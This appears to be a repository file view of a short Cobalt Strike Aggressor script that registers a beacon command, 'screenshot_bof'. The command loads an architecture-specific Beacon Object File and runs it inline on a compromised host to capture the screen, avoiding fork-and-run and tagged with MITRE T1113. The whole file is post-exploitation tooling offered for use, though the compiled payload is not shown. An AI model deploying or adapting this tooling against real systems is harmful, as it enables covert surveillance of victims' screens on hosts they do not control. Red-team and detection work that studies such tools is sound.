ScreenshotBOF/bin/BOF/screenshotBOF.cna

23 lines
665 B
Plaintext

#Register command
beacon_command_register(
"screenshot_bof",
"Alternative screenshot capability that does not do fork n run",
"Synopsis: screenshot_bof"
);
alias screenshot_bof {
local('$bid $barch $handle $data $args $target_pid');
$bid = $1;
# figure out the arch of this session
$barch = barch($bid);
# read in the right BOF file
$handle = openf(script_resource("ScreenshotBOF. $+ $barch $+ .obj"));
$data = readb($handle, -1);
closef($handle);
# announce what we're doing
btask($bid, "Running screenshot BOF by (@codex_tf2)", "T1113");
# execute it.
beacon_inline_execute($bid, $data, "go");
}